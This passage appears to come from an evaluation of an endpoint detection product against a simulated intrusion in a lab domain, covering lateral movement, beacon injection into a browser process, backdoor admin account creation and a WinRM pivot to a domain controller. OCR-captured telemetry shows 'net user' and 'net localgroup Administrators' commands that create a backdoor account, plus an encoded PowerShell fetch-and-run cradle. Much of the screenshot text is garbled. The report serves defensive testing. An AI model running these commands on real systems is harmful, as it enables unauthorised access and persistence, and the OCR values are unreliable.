After confirming that the service account possessed sufficient privileges, we authenticated to FSO01
using the valid domain credentials and established remote access. This activity simulated a realistic
attacker scenario in which compromised service account credentials are leveraged to pivot from a
workstation to a higher-value server system.

The objective of this step was to evaluate whether the use of legitimate service account credentials
for remote authentication is detected, logged, and correlated with prior suspicious activity
originating from WS01.

e T1078 - Valid Accounts

Use of legitimate domain credentials (svc_sqlservice) to authenticate to a remote system.
e T1021.002 - Remote Services: SMB/Windows Admin Shares

Remote access to FSO1 via SMB using administrative shares.

Wso1
10.10.70.202
NT AUTHORITY\SYSTEM

system integrity

The activity in this step was detected clearly and with useful context. The telemetry on FS01 shows
that the remote execution via SMB was identified as a remote-control trojan-style attack, and the
Al analysis explicitly states that the payload 8556e83.exe was executed from the remote
administrative share path \\10.10.70.201\ADMIN$\8556€83.exe. This is an important detail because
it directly reflects the lateral movement mechanism used in the scenario: a payload copied to the
target via the administrative share and then launched remotely. The same analysis also ties
8556e83.exe to service-based execution on FS01 and to subsequent injection activity into
rundll32.exe, so the solution did not only register a single suspicious file but captured the broader
execution chain and post-exploitation behaviour associated with it.

Overall, this is a good detection result for this scenario. The screenshots show that the product
correlated multiple relevant signals on FSO1, including suspicious SMB-based remote execution,
service creation or service-backed execution, shellcode-related activity, and the resulting injection
into a legitimate Windows process. The explicit reference to 8556e83.exe being launched from the
remote ADMINS path gives the analyst additional clarity on how the payload was introduced onto
the target and supports attribution of the event to lateral movement rather than ordinary local
execution. This provides a reasonably complete picture of the pivot from WS01 to FSO1 using the
compromised svc_sqlservice account. At the same time, the detection appears to be centred primarily
on the execution artifacts and resulting malicious process behaviour on the destination host, which
is appropriate for this test case and still provides strong visibility into the compromise path.
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Step 7 Detection (Active response)

[ZTT3 A Remote Control Trojan Attack via SMB Protocol Using 8556e83.exe
Target Endpoint  FS01 (10.10.70.201) Owner - Threat Type Credential Theft Threat Tag  Backdoor Attack + 2 ©

&‘ Al Reasoning Anzalyzing Logs: 54 F Al Analysis Results Attack Chain Suspicious Entities Process Graph Alerts

Incident Summary

This is a Backdoor Attack initiated via SMB protocol to execute 8556e83.exe. Target device (Name: FS01, IP address: 10.10.70.201), The current attack is in the
compromised stage. The attacker loaded the malicious program from a remote shared path via SME protocol and registered it as a system service to achieve persistence.
Subsequently, the attacker used process injection technigues to inject the malicious code into a legitimate system process to evade detection. The attack intent is to perform

data theft and credential theft. This attack may lead to long-term system conirol, sensitive data leakage, and provide a footheld for the attacker to move laterally within the
internal network.

5556283 exe Process Injection rundli32 exe

8556683 Service Proces... 8556e83.exe
1 Malicious Program Loading and ... Persistence and Lateral Movement
Attacker
8556283 Service Proces... 8556283 exe
services.exe — Service Creation 8556283 o
Al Analysis
|. Attack Chain Analysis

1. Entry Point Analysis

Entry Point: The attacker used the system service process “services exe’ to launch a malicious program via SMEB protocol from the remote shared path

01070 201ADMINS 8556883 axe’.
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~ Attack Chain Description

Q .
~ Malicious Program Loading and Execution
1. The attacker launched a malicious program via the SMEB protocol from the remote shared path "W\ 10.10. 70 201MADMINEW8556e83 exe’. The program was created by
the system service process “services.exe’, indicating that the attacker may have achieved persistence through service configuration or scheduled tasks.
2. The malicious program "8556e83 exe” then created a process named “rundli32.exe” and injected the malicious code into this legitimate process using thread hijacking
technigues.
Suspicious Items:
* File Name Anomaly: The filename “8556e83.exe’ consists of random numbers and lacks semantic information, which aligns with the common naming characteristics of
malicious programs, aiming to reduce the likelihood of detection through meaningless names.
* Abnormal Spread Path: Malware loads via SME protecol from a remote shared path “W10.10.70.201\Admin$’, which is a typical lateral movement technigue, utilizing
shared directories (such as Adming) for propagation.
* Process Injection: A malicious process "8556e83.exe’ injects info a legifimate system process “rundli32.exe’ using thread hijacking technigue. This metheod is
commonly used by attackers to hide malicious activities and evade detection by security software.
O )
~ Persistence and Lateral Movement
1. The attacker modified system service configuration to register the malicious program “8556Ge83.exe’ as a system service, achieving persistence.
2. The attacker exploited SME protocol to load the malicious program from a remote shared path, indicating that the attacker may have already obtained internal network
privileges and is attempting to expand the attack scope.
Suspicious Items:
« Service Creation: The attacker created a service named "8556283" and pointed it fo the remote shared path "W10.10.70.201\Admin3\\855Ge83 exe’. This indicates that
the attacker attempted to ensure the malicious program could automatically execute after system restart through the service mechanism.
€ Security Incidents / Security Incident Details Alert Details x

[ Suspicious Command Execution on Local Endpoint Using PSExec (I0A)
=1 A Remote Control Trojan Attack via SMB Protocol Using 8556et

Target Endpoint  FS01 (10.10.70.201) Owner - Threat Type Credential Theft Threat Tar Aler Description It is suspected that an attacker uses PSExec to remotely execute the pici [ Y. 13...
» Al Reasoning  Analyzing Logs: 91 Al Analysis Results Attack Chain 1 Alert ID 161408262974361 Time Detected Detection Engine 104 Engine
ATT&CK Tactic Lateral Movement (...  ATT&CK Technique Remote Services... a]  Alert Chain ID b4972b1f-0bdd-dcd
Time Detected Severity Alert Mame Description Ale | Activity Logs (1)
- m Shellcode execu... Itis suspected that an . o Last Occurred Operation Type Source Enlity Activity Type Target Entify
- Process Operat... B8556e83 exe Process Creation rundll32. exe
EEMl  shelcoseexccu..  Itissuspectedthatan . ms
m Suspicious cros Process rundli32.exe .. run
m Process created... Itis suspected that an . n
[ Medium | Shellcode execu. .. Itis suspected that an ms
m Suspicious shell... Itis suspected that an . ms
. m Shellicode execu... Itis suspected that an . un
ET  shelcodeexecu..  Itis suspected that an run
m Shellcode execu... Itis suspected that an . un
m Suspicious Com... Itis suspecied that an . 85!
Previous Close
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Step 8. Command and Control

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

In this step, the tester leveraged C2 capabilities to establish a legitimate-appearing parent/child
process relationship for the active Command-and-Control (C2) channel.

The Beacon was configured to spawn under commonly observed and trusted process trees such as
explorer.exe — chrome.exe or explorer.exe — msedge.exe. This technique was used to blend
malicious activity into normal user-driven browser execution patterns and reduce suspicion at the
endpoint level.

The objective was to evaluate whether security monitoring solutions can detect anomalous process
spawning behaviour, suspicious command-line parameters, or unusual outbound network
connections initiated by browser processes. Additionally, this step assessed whether detection logic
relies primarily on process ancestry heuristics or incorporates deeper behavioural and network-based
analytics to identify covert (2 communications operating under legitimate process names.

e T1071.001 - Application Layer Protocol: Web Protocols
Use of HTTP/HTTPS communication to blend C2 traffic with legitimate web traffic.
e T1036 - Masquerading
Execution of malicious activity under legitimate browser processes to evade detection.
e T1055 - Process Injection
Injection of Beacon code into a legitimate process to establish covert execution.
e T1105 - Ingress Tool Transfer
Previously delivered payload establishing outbound communication to external 2
infrastructure.

FS01

10.10.70.201

NT AUTHORITY\SYSTEM

system integrity

The screenshot shows that the EDR also captured the follow-on browser-parented beacon step on
FSO1. In the attack-chain view, the activity progresses from the earlier malicious payload execution
to rundll32.exe — Process Injection — msedge.exe, which matches the described attempt to move
the beacon into a legitimate browser process.

This is a relevant detection for the step because it reflects the actual migration technique rather
than only the presence of the original payload. The product appears to have preserved the broader
attack context, linking the earlier service-based execution and injection activity to the later
injection into msedge.exe.

Overall, the EDR showed good visibility into this phase. It not only detected the initial compromise
on FSO1 but also associated the later injection into msedge.exe with the same attack chain, which
gives a clearer picture of the C2 transition into a more legitimate-looking browser context.
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8556283 exe

Services.exe

Attacker

€ Security Incidents ' Security Incident Details

Malicious Program Loading and ...

0 A Remote Control Trojan Attack via SMB Protocol Using 8556et

Target Endpoint  FS01 (10.10.70.201) Owmner - Threat Type Credential Thefl Threat Ta
‘@ AlReasoning Analyzing Logs: 91 Al Analysis Results Attack Chain
Time Detected Alert Name Description Ale

g
g
E

Shellcode execu...

Shellcode execu. .

Suspicious cros...

Process created

Shellcode execu...

Suspicious shell...

Shellcode execu...

Shellcode execu...

Shellcode execu...

Suspicious Com..

It is suspected that an ...

Itis suspected that an ...

Process rundll32.exe ...

Itis suspected that an ...

It is suspected that an ...

Itis suspected that an ...

Itis suspecied that an ._

It is suspected that an ...

Itis suspecied that an ._

Itis suspected that an ...

ms

ms

run

run

ms

ms

run

run

run

85!

Service Creation

Process Injection

Alert Details

rundll32.exe

8556e33

Malicious Payload Execution and...

rundli32 exe  Process Injection + msedge exe

[ETE Process created by shellcode

Alert Description It is suspected that an attacker using shellcode in rundli32 exe to create msedge.exe. This activity allows attacker. ..
Alert ID 112949573589197.. Time Detected Detection Engine 10A Engine
ATTECK Taclic Defense Evasion (T.. ATT&CK Technigue Reflective Code 7l Alert Chain ID b4972b1f-0bd4-4cd. .
| Activity Logs (1)
Last Occurred Operation Type Source Enfity Activity Type Target Entity
Process Operat.. undll32 exe Process Creation msedge.exe
Previous Mext Close
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Step 9. Persistence / Privilege Escalation

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

After successfully establishing a foothold on FSO1, we simulated the creation of a new local
administrator account to maintain persistent privileged access.

Using the active Beacon session, the tester executed native Windows commands to create a new
local user account and add it to the local Administrators group. This activity represents a common
post-exploitation technique used by adversaries to ensure continued access to a compromised
system, even if the initial access vector is remediated.

e T1136.001 - Create Account: Local Account

Creation of a new local user account to maintain access.
e T1098 - Account Manipulation

Modification of account permissions by adding the user to the local Administrators group.
e T1078 - Valid Accounts

Use of legitimate credentials to create and manage additional accounts.

FS01
10.10.70.201
NT AUTHORITY\SYSTEM

system integrity

We did not observe any active alerts associated with the activities performed in this step. However,
from a threat-hunting perspective, the telemetry for this step provides clear visibility into the local
administrator account creation activity on FS01. The investigation data shows that a signed
msedge.exe process running from the expected Microsoft Edge installation path on FS01 was used as
the source process for spawning cmd.exe instances via shellcode-related process creation. This is a
strong indicator that a legitimate browser process was being abused as execution cover rather than
performing normal browser activity. The hunting view captures the full command line of the first
child process as C:\Windows\system32\cmd.exe /C net user john.doe johndoe24! /add, which
directly confirms creation of the local user account john.doe. The telemetry is therefore not limited
to a generic alert but preserves the actual command used, the responsible parent process, the host
context, and the execution time.

The follow-up telemetry is equally clear and shows a second cmd.exe process, again spawned from
msedge.exe, executing C:\Windows\system32\cmd.exe /C net localgroup Administrators john.doe
/add. This confirms that the newly created account was subsequently added to the local
Administrators group on FS01, completing the simulated privilege escalation and persistence action.
Overall, the threat-hunting evidence is strong because it links the suspicious parent process, the
exact administrative commands, and the affected endpoint in a coherent sequence. That level of
detail is useful for an analyst, as it allows the activity to be reconstructed with high confidence and
distinguishes the event from a vague or low-context detection.
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Step 9 Manual investigation for telemetry / Threat hunting

Log Investigation Investigation Panel ¢ % -+ e
| Time Occured Last 30 days Opera Log Details %
| Entity Nome (Twoet)) cemd.exe 570 IER msedge sxe - cmd exe FS01 (10.10.70 201)

PID 2968 ey PID 5952 fdefault
Time Oceurred Operation Typ - | fdefault group
Process Oel pesails  Raw JSON
Process Opel Behavior Info ~
Behavior ID 6327549555034295694 Aclivity Type Process Creation
Operation Type Process Operation First Occurred
Last Occurred
Rule ID 1100051620000004 Rule Name Process crealed by shellcode
Description Itis suspected that an attacker using shellcode in Rule Intent Defense Evasion
msedge.exe Io creale cmd.exe. This activity allows...
ATT&CK Tactic Defense Evasion (TA0005) ATTECK Technique Reflective Code Loading (T1620)71
Source Entity Info ~
Process File Name msedge exe PID 2968
Process File Path C:\Program Files Command Line "C:\Program Files
(B8 ) i i ge.exe i i i "
File SHA256 (i) 00f322885d44b658c2{3cB567163632712/b87295aa39b  Process Start Time
d78587762d93a730al
File MD5 (D 9f4f0d356a539294bbf6963b 10009238 Digital Signature Microsoft Corporation
Signature Validity Trusted Embedded Signature
Process Name msedge Integrity Level System
File Size File Creation
File Modification File Access
File Description Microsoft Edge File Version 146.0.3856 62
Product Name: Microsoft Edge Original File Name msedge.exe
Signature Time
Software Type Browser App Name edge
Running in Backend True
Target Entity Info ~
Process File Name cmd exe PID 5852
Process File Path CAWindows\System32\cmd exe Command Line CAWindows'\system32icmd.exe /C net user john.doe
Previous Close
Log Investigation Investigation Panel | X  + (@]
| Time Occurred Last 30 days Opera Log Details x
| Entity Name (Target) cmd.exe ~ End|
Source Entity Info ~
Time Occurred Operation Typ
Process File Name msedge exe PID 2968
Process OP8l  progecss File Paih C\Program Files Command Line “C:\Program Files
(%86 i ge.exe i "
Process 0Pl Fjie 51256 (1) 007322868d44b658c 3065671636327 120872952239 Process Starl Time
d76567762d93a730af
File MD5 (D 9f4i0d356a539294bbfE98ab 1b0b9a3s Digital Signature Microsoft Corporation
Signature Validity Trusted Embedded Signature
Process Name msedge Integrity Level System
File Size File Creation
File Modification File Access
File Description Microsoft Edge File Version 146.0 3856 62
Product Name Microsoft Edge Original File Name msedge exe

Signature Time
Software Type Browser App Name edge

Running in Backend  True

Target Entity Info ~

Process File Name cmd exe PID 5852

Process File Path C\Windows\System32icmd exe Command Line C\Windows\system32\cmd exe /C net user john doe
Jjohndoe24! /add

File SHA256 (1) 90d120880614e182a94067baad 1454b09e2be7a9da51  Process Start Time

b71e33c247077d99538

File MD5 (D 83065e624ieBb&2058aaaab7 1d4bci6 Digital Signature Microsoft Windows

Signature Validity Trusted Security Catalog Signature

Process Name emd Integrity Level System

File Size File Creation

File Modification File Access

File Description Windows Gommand Processor File Version 10.0 20348 4847

Product Name Microsoft® Windows® Operating System Original File Name Cmd Exe

Signature Time

App Name cmd Running in Backend True

Previous Close
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Log igation tigation Panel @ X+ (&)
| Time QOccurred  Last 30 days Oz | og Details %
Entity N; (T: ) cmd. Endj
 Enty Hame Taget) cmaexe ! msedge exe cmdexe | FSO1(10.10.70.201)
Process Operation
Time Oceurred Operation Ty PID 2968 PID 7324 - | /default group
Process Oper
Details Raw JSON
Process Opel Behavior Info -
Behavior ID 6327549960271170343 Activity Type Process Creation
Operation Type Process Operation First Occurred
Last Occurred
Rule ID 1100051620000004 Rule Name Process created by shellcode
Description It is suspecied that an attacker using shellcode in Rule Infent Defense Evasion
msedge.exe to create cmd_exe. This activity allows. .
ATTECK Taclic Defense Evasion (TAQDOS) ATT&CK Technigue Refleclive Code Loading (T1620) 7
Source Entity Info ~
Process File Name msedge.exe PID 2968
Process File Path CAProgram Files Command Line "C:\Program Files
(x5a 0 licati ige.exe It i " o
File SHA256 () 00f322868d44b658c23c6567M3632712fb872953a39b  Process Start Time
d76567762d93a730af
File MDS (@ 974i0d356a539294bbf698ab1b0b9a38 Digital Signature Microsoft Gorporation
Signature Validity Trusted Embedded Signature
Process Name msedge Integrity Level System
File Size 48MB File Creation o
File Modification File Access -
File Description Microsoft Edge File Version 146.0.3856.62
Product Hame Microsoft Edge Original File Name msedge.exe
Signature Time:
Software Type Browser App Mame edge
Running in Backend True
Target Entity Info ~
Process File Mame cmd.exe PID 7324
Process File Path CAWindows\System32\cmd exe Command Line G 2\cmd exe /G net
Next Close File Explarer
Log igation igation Panel | X 4+ Q
| Time Occumed Last 30 days Opeiz L og Details b
| Entity Mame (Target) cmd.exe - End
Source Entity Info ~
Time Occumred Operation Typ
Process File Name msedge.exe PID 2968
Process Opet Process File Path C:\Program Files Command Line "C:\Program Files
(B M 0 licati ge.exe ( i exe”
Process Opel e spyaose (1) 00f322868d440658c2f3c65671636327 120672952339  Process Start Time
d76567762d93a730af
File MD5 (D 9f4f0d356a539294bbf698ab1b0bIa35 Digital Signature Microsoft Comporation
Signature Validity Trusted Embedded Signature
Process Name msedge Integrity Level System
File Size ¢ File Creation
File Modification File Access
File Description Microsoft Edge File Version 146.0.3856.62
Product Name Microsoft Edge Original File Name msedge exe

Signature Time
Software Type Browser App Name edge

Running in Backend True

Target Entity Info ~
Process File Name cmd.exe PID 7324
Process File Path CAWindows\System32\cmd.exe Command Line C! .2\cmd_exe /C net
Administrators john doe /add
File SHA256 (i) 90d120880614e1e2a94067baad1454b09e2be7a9das1  Process Start Time
b7 1e33c247077d9M533
File MD5 (@ f63068e624ie6b52058aaaab7 1d4bchE Digital Signature Microsoft Windows
Signature Validity Trusted Security Cataleg Signature
Process Name cmd Integrity Level System
File Size 324 KB File Creation
File Modification 2026-02-03T14:38:28+01.00 File Access
File Description Windows Command Processor File Version 10.0.20348 4647
Product Name Microsoft® Windows® Operaling System Original File Name Cmd.Exe
Signature Time 2026-01-25T23:58:11.062+03:00
App Name cmd Running in Backend True
Nesxt Close
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Step 10. Privilege Escalation / Discovery

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

In this step, we impersonated the domain user alice.jones to assess her effective privileges within
the domain environment. After successfully assuming the security context of alice.jones, we
performed privilege validation to determine whether the account possesses:

e local administrator privileges on any workstation or server
e Membership in privileged domain groups
e Domain Administrator rights

This included enumeration of domain group memberships, verification of local Administrators group
assignments on selected systems, and validation of effective access rights. The objective of this step
was to evaluate whether potentially overprivileged domain user accounts could be leveraged for
privilege escalation or further lateral movement within the environment.

e T1134.001 - Access Token Manipulation: Token Impersonation/Theft
Impersonate domain user by using token theft
e T1078 - Valid Accounts
Use of legitimate domain credentials to authenticate and access systems.
e T1069.002 - Permission Groups Discovery: Domain Groups
Enumeration of domain group memberships to determine elevated privileges or Domain Admin
status.
e T1069.001 - Permission Groups Discovery: Local Groups
Verification of membership in local Administrators groups on workstations or servers.
e T1033 - Account Discovery
Identification and validation of user account context and associated privileges.

FS01
10.10.70.201
NT AUTHORITY\SYSTEM

system integrity

We did not observe any active alerts associated with the activities performed in this step. However,
from a threat-hunting perspective, the telemetry for this step provides meaningful evidence that the
impersonated alice.jones context was used to transition from the existing msedge.exe process into
additional administrative execution on FSO1. The screenshots show tokenType changes in the raw
event data, indicating that the subsequent process activity did not occur under the same basic
context as the originating process and supporting the conclusion that token manipulation or
impersonation was involved. That observation is reinforced by the follow-on execution of
powershell.exe under the user lab.local\alice.jones, with an encoded PowerShell command clearly
visible in the process details. In addition, the hunting data shows msedge.exe spawning
WmiPrvSE.exe on FSO01, which is a useful pivot point because it ties the impersonated context to
remote management-style activity on the target server rather than leaving the analyst with only a
generic privilege-escalation assumption.
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The overall hunting picture therefore suggests a progression from token abuse or impersonation into
remote execution and privilege validation activity on FSO1. This is valuable context because it allows
the analyst to correlate the identity shift, the encoded PowerShell execution, and the WMI-related
child process creation into one coherent sequence. The screenshots do not just indicate that
something suspicious happened; they preserve concrete details such as the user context, the encoded
command line, the created target process, and the host involved. That level of telemetry is helpful
and gives defenders a solid basis for hunting backward to the originating process and forward to any
follow-on discovery, access validation, or lateral movement actions performed after the
impersonation of alice.jones.

Step 10 Manual investigation for telemetry / Threat hunting

Log Investigation Investigation Panel | X+ tokenType ifal ~ v » Q

Time Occumed Last 30 days [2] | Opera

Entity Mame (Target) « Endpoint Mar
Time Occurred Operation Tyg

Process Oper

Process Oper

Process Oper

Process Oper

Process Oper

Log Details X

"customTipTactic™: "",

"customTtpTechnique™: "",

"customTEpTitle™: "",

"customTEpType™: @,

"dataComponentTypeld”: 257,

“driverautoIncrementId": 15823,

“dropabstract”: "{\"telemetry\":{\"ruleFilteragent\":{\"NetworkConnect\":1}}}",
“eventId": £327444433383794878,

"extraFlags": 1,

"httpModuleTime™: -

"platformCostTracing”: "updModule:24b;upload:6ecl;sensor:2a;cgi4;alert:l;report:@;reportTime: ",
"platformutcTime": B

"remoterpcaddress™: "7,

"remoteRpcComputertame”: ",
"remoterRpcPipeName”: ",
"rpcProcesshodeId™: @,
"telemetrysutoIncrementId": 13838,
"telemetryEventName™: "ProcessCreate”,
"telemetryEventTypeld™: 19,
"telemetryRuleId™: 16777216,

“Eokentype": o,

"uploadModuleTime"™:
Ta
"Source™: {

"appiame": "edge”,
"appType": 1,
“commandLine”: "\"C:\\Program Files (x36)\\Microsoft\\Edge\\Application‘'msedge.exe\"",
“createdTime":
“creatorNodeId™: 2245145733515798595,
“currentDirectory™: "C:\\Windows\\system32\\",
"customIocAction™: 255,
"directory": "C:\\Program Files (x86)\\Microscft\\Edge\\Applicaticn",
“displayMame": "msedge.exs",
"exitTime": a,
"extraFlags": 2,
“fileAccessedTime":
"fileattributes™: 32,
"fileauthenticodeHashshal": "32al2faal4laelc3esceeflacfr7ecsedfaesrdaz”,
"fileauthenticodeHashsha2se": "ceflseqfs3a5c29a4e560belados2614a81793F25b306dd3c7F3cf272ec969fa",
“fileCreatedTime":
"filepescription”: "Microsoft Edge”,

Previous Close
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Investigation Panel : X+

tokenType

Time Occumed Last 30 days [ || Opera

Entity Name (Target)

Time Occurred

Log Investigation

Endpoint Nar

Operation Typ

Process Oper

Process Oper

Process Oper

Process Oper

Process Oper

Investigation Panel ! X <+

Time Occumed Last 30 days (%] || Opers

Entity Name (Target)

Time Occurred

~ Endpoint Ma1

Operation Typ

Process Opel

Process Opel

Process Opet

Process Oper

Process Oper
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11 ~ v x

Log Details X
"customTtpTechnique’ N
"customTtpTitle”:
"customTtpType": @,
“dataComponentTypeld”: 257,
“driverAutoIncrementId”: 20066,
"dropAbstract": "{\"filter\":{\"filterengAgent\":{\"ImageLoad\":3}},\"report\":{\"filterDriverCloud\":
{\"ProcessTerminateMotify\":3}}}",
“eventId": £329292355502464762,
"extrarlags": 1,
“httpModuleTime™: N
“platformCostTracing”: “"updModule:1dS;upload:&&de;sensor:6;cg:c;alert:3;report:1;reportTime: 1773921934731",
“platformutcTime": N
"remoteRpcAddress™: "",
"remoteRpcComputertame”: "",
"remoteRpcPipenNam
“rpcProcessNodeId™: @,
“telemetryAutoIncrementId”: 15676,
"telemetryEventName”: "ProcessCreate”,
"telemetryEventTypeId": 19,
"telemetryruleld": 16777216,
EokERTBE" : 1,
"uploadModuleTime™:
T
"Source": {
“apphame": “edge”,
“appType": 1,
“commandLine”: "\"C:\\Program Files (x86)\\Microsocft\\Edge\\Application\msedge.exe\"",
“createdTime”:
“creatorNodeId": 2245145783515798596,
"currentDirectory™: "C:\\Windows\\system32\\",
“customIocAction 255,
"directory”: "C:\\Program Files (x88)\\Microsoft\\Edge\\Application",
"displayMame": "msedge.exe",
"exitTime": a,
"extrarlags": 2,
“fileAccessedTime™:
fileAttributes™: 32,
"fileAuthenticodeHashshal": "32a12faal4laelc3esceeflacf7egaedfoesrdal”,
"fileAuthenticodeHashsha2se": "cefleeafs3ssc 10d952614a81793f35b306dd3c7f3cf272eco69fa",
“filecreatedTime”:
"filepescription®: "Microsoft Edge”,
Next Close
tokenType M ~ b x @]
Log Details X
T
"Target™: {
“appMame": "powershell”,
“appType": &,

“commandLine": "powershell -nop -exec bypass -EncodedCommand

SQEFAFZAIAACAE4AZQEZACRATWE IAGOAZQEJAHQATABOAGUAGAAUAF CAZQBIAGMADABPAGUADZEBACKAL EBEAGEANWEUAGWADWBhAGQALWEBAHTASQBUAGC AKAANAGZADABRAHAA

OgAVACEAMQAY ADCALEANACS AMAAUADEADEABADUANWA ZADMALANACKA” ,
“createdTime”: *

“creatortodeId”: 3842902228112681521,

"C:\WWindows\\system32\\",

255,

"C:\\Windows\\System32\\WindowsPowershel1yivl. 8",

“currentDirectory”

“customIochActicn”
"directory":
“displayMame": "powershell.exe",
“exitTime": @,
“extrarlags": 2,
“fileAccessedTime":
“fileattributes”: 32,
“fileauthenticedeHashshal”

"ff2e3602@387920255088157C322097affadea1a”,

“fileAuthenticodeHashSha25e": "6bfbS7593f63e164d7 f48ecfoB8dTbalag6cc35h165b4663156443e4132abast",

"fileCreatedTime": ~

“fileDescription”: “"wWindows Powershell",

“fileHashMds": "dd6f4b7813a253887bseas6515f6fbrd",
ileHashshal": "3e72bef25alcds8scse2421e3d58a8ebacebd1226"
"fileHashsha2se’

"38f4384642b3fadde714d22367b712c 280 a1c82e2c fd131a26b831ad962b1833",

"fileHashSubHash":
“filemodifledTime":

“filename": “powershell.exe",

“filenodeId": 12312266571226373788,

“fileoriginalFilename": "PowerShell.EXE",

\wuindows\\System32\ \WindowsPowershell\ivl. e\\powershell . exe”,
"Microsoft® windows® operating System",

“filerroduct’
“filesignatureName
“filesignatureTime": R
3

"Microsoft Windows",

“filesignatureType”:
"filesize": 458568,
“fileversion": ”

mageFileNam "powershell.exe”,

imageTamper

8,
“imageType": 24404,
“integrityLevel”: 2,
"isexit": a,

Next Close
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Log Investigation Investigation Panel i *  + tokenType 7 ~ v X @]
Time Occumed Last 30 days Opera Log Details ¥
Entity Name (Target) ~ | | Endpoint Nar

msedge.exe WmiPrvSE_ exe FS01 (10.10.70.201)
Time Occurred Operation Tyg Process Operation
PID 2968 PID 5524 - | fdefault group
Process Oper
Details Raw JSON
Process Oper
Behavior Info =
Process Oper
Behavior ID 6327602583758222572 Aclivity Type Process Creation
Process Oper Operation Type Process Operation First Occurred
Last Occurred
Process Oper Rule ID 1100051620000004 Rule Name Process created by shelicode
Description It is suspected that an attacker using shelicode in Rule Intent Defense Evasion
msedge exe fo create WmiPrvSE exe. This activity
ATT&CK Tactic Defense Evasion (TAD005) ATT&CK Technique Reflective Code Loading (T1620) 71
Source Entity Info ~
Process File Name msedge. exe PID 2968
Process File Path C\Program Files Command Line "C:\Program Files
(386 )\l g licati ge exe [+ i exe"
File SHA256 (1) 00f322565d44b655c2f306567TM636327 12572953a39b  Process Siart Time
d76567762d93a730af
File MD5 (D) 9f4f0d356a539294bbf695ab1b0b9a38 Digital Signature Microsoft Corporation
Signature Validity Trusted Embedded Signature
Process Name msedge Integrity Level System
File Size File Creation T
File Modification File Access
File Description Microsoft Edge File Version 146.0.3856.62
Product Name Microsoft Edge Criginal File Mame msedge.exe
Signature Time
Software Type Browser App Name edge
Running in Backend True
Target Entity Info ~
Process File Name WmiPrvSE exe PID 5524
Previous Next Close
Log Investigation Investigation Panel : X+ tokenType i A v X o
| Time Occurred Last 30 days Opera Log Details >
Entity Name (Target) ~ | Endpoint Nat
) msedge.exe ) WmiPrvSE exe FS01(10.10.70.201)
Time Occurred Operation Ty Process Operation
PID 2968 PID 5524 - [ldefault group
Process Opel
Details Raw JSON
Process Oper
Behavior Info ~
Process Oper
Behavior ID 6327602583758222572 Activity Type Process Creation
Process Opet Operation Type Process Operation First Occurred
Last Occurred
Process Opel Rule ID 1100051620000004 Rule Name Process created by shellcode
Description It is suspected that an attacker using shellcode in Rule Infent Defense Evasion
msedge.exe to create WmiPrvSE exe. This activity.
ATTECK Tactic Defense Evasion (TAD005) ATTACK Technique Reflective Code Loading (T1620) 7
Source Entity Info -
Process File Name msedge.exe PID 2968
Process File Path CProgram Files Command Line "C:\Program Files
(%86, q l ge.exe {: exe”
File SHA256 (D 00f322868d44b658c2{3cB5671636327 1208729533390  Process Start Time
d78567762d93a730af
File MD5 () 9f4f0d356a839294bbf698ab1b0b9a38 Digital Signature Microsoft Corporation
Signature Validity Trusted Embedded Signature
Process Name: msedge Integrity Level System
File Size File Creation o
File Modification File Access
File Description Microsoft Edge File Version 146.0.3856.62
Product Name Microsoft Edge Criginal File Name msedge exe

Signature Time:

Software Type Browser App Name edge
Running in Backend True
Target Entity Info ~

Process File Name PID 5524

Previous Next Close
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Step 11. Lateral Movement

Description

TTPs

Performed on
Host IPv4
User context

Integrity level

Result / Observations

In this step, we leveraged the previously obtained credentials of the domain administrator
alice.jones to perform lateral movement from FSO1 to the domain controller DCO1. Prior to initiating
the pivot, a dedicated C2 listener was configured with the appropriate payload type and
communication settings to receive the incoming Beacon session from DCO1. This ensured controlled
session handling and separation from existing C2 channels.

Using the valid Domain Admin credentials, we authenticated to DCO1 and executed the payload
remotely, resulting in the establishment of a Beacon session on the domain controller. This step
simulated a high-impact attacker scenario in which compromised Domain Admin credentials are used
to pivot to critical infrastructure systems. The objective was to evaluate detection capabilities related
to:

e Remote execution on a domain controller

e Administrative authentication from a non-administrative source system

e New service or process creation on DCO1

e (orrelation between credential compromise, lateral movement, and C2 establishment

e T1078 - Valid Accounts
Use of legitimate Domain Administrator credentials to authenticate to DCO1.
e T1021 - Remote Services
Use of remote management protocols (e.g., SMB, RPC, WinRM, or similar) to execute code on
DCo1.
e T1569.002 - System Services: Service Execution
Remote service creation to execute the Beacon payload on the domain controller.
e T1105 - Ingress Tool Transfer
Transfer and execution of the payload to establish a C2 session on DCO1.

FS01
10.10.70.201
alice.jones@lab.local

high integrity

We did not observe any active alerts associated with the activities performed in this step. However,
from a threat-hunting perspective, the telemetry for this step provides a fairly clear picture of remote
administrative activity from FS01 to DCO1. The screenshots show powershell.exe on FS01 initiating
a network connection to 10.10.70.200 over TCP port 5985, which is consistent with WinRM-based
remote management. The process details also preserve the encoded PowerShell command line, giving
analysts a strong pivot for deeper review and decoding. In the raw event data, the target context is
tied to wsmprovhost.exe, which is a meaningful indicator because it shows that the activity was not
limited to a generic outbound PowerShell connection but progressed into Windows Remote
Management execution on the destination system. Taken together, this allows the hunting workflow
to connect the originating process on FS01, the remote management channel, and the corresponding
execution context on DCO1.
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The hunting data also shows an account logon event on DCO1 associated with alice.jones, recorded
through lsass.exe, which adds important identity context to the pivot. That is useful because it links
the remote activity not only to the source host and PowerShell process, but also to the domain user
context that was used during the operation. Overall, the telemetry supports a coherent sequence in
which PowerShell on FSO1 established a WinRM session to DCO1, followed by remote execution under
the logged-on alice.jones context. This is good-quality hunting evidence, because it preserves the
network destination, protocol-relevant port, encoded command line, remote execution host process,
and user logon information in a way that makes correlation across source system, target system, and
identity practical and reliable.

Step 11 Manual investigation for telemetry / Threat hunting

Log Investigation Investigation Panel @ X 4+ 'e)
| Time Occumed Last 30 days [2] || Opera ch Details X
| Entity Mame (Target) 10.10.70.200 ~ |

owershell.exe F501 (10.10.70.201)
Time Occurred Operation Typ ﬂ a Metwork Operation 10.10.70.200 . :
PID 3943 - | idefault group
Metwork Opel
Details Raw JSON
Behavior Info ~
Behavior ID 6329594519697905835 Activity Type Metwork Connecfion
Operation Type Metwork Operation First Qecumred
Last Occurred
Source Entity Info ~
Process File Mame powershell exe PID 39458
Process File Path CAWind ystem32\WVind PowerShellw1.0\power  Command Line powershell -nop -exec bypass -EncodedCommand
shell.exe SOBFAFgAIAACAE4AZOBIACIATWEIAGOAZQBJAH. .
